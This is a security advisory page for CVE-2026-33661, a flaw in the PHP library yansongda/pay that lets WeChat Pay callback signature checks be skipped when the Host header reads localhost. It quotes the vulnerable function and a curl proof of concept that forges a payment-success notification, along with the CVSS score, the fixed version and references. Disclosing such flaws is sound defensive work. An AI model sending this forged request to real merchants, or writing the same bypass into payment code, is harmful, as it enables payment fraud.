CVE-2026-33661 — Vulnerability in yansongda/pay — CVE Details
WeChat Pay callback signature verification bypassed when Host header is localhost
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.78%). Schedule for your next planned update.
Does your project use an affected yansongda/pay version?
Paste your composer.lock to check it for CVE-2026-33661 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.
Vulnerable Code
src/Functions.php lines 243-246:
function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
// BYPASS: Returns without any signature check if Host header is localhost
if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
return; // No signature verified!
}
// ... openssl_verify() only reached when Host != localhost
$wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
$sign = $message->getHeaderLine('Wechatpay-Signature');
$result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}
In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.
Proof of Concept
curl -X POST https://merchant.example.com/payment/wechat/callback \
-H "Host: localhost" \
-H "Content-Type: application/json" \
-H "Wechatpay-Serial: any" \
-H "Wechatpay-Timestamp: 1234567890" \
-H "Wechatpay-Nonce: abc" \
-H "Wechatpay-Signature: AAAA" \
-d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'
verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.
Impact
- Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
- No authentication required: Pure network attack, zero privileges needed
- Wide reach: Affects any application using
yansongda/payfor WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.
Advisory Timeline
- First published March 25, 2026 (246 days ago).
- Last revised March 27, 2026 — 2 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "yansongda/pay:^3.7.20"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| yansongda/pay Packagist · Affected: v0.5.0, v0.5.1, v0.5.2, v0.5.3 (+249 more) | 3.7.20 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-290
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
References
- https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvcWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-33661ADVISORY
- https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7fWEB
- https://github.com/yansongda/payPACKAGE
- https://github.com/yansongda/pay/releases/tag/v3.7.20WEB
Frequently Asked Questions
- What is CVE-2026-33661?
- WeChat Pay callback signature verification bypassed when Host header is localhost. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.6/10).
- How do I check if my project is affected by CVE-2026-33661?
- CVE-2026-33661 affects yansongda/pay. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33661 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 52.3% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-103035HIGH
TeamPass folder re-parenting authorization bypass
- CVE-2026-110782HIGH
SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)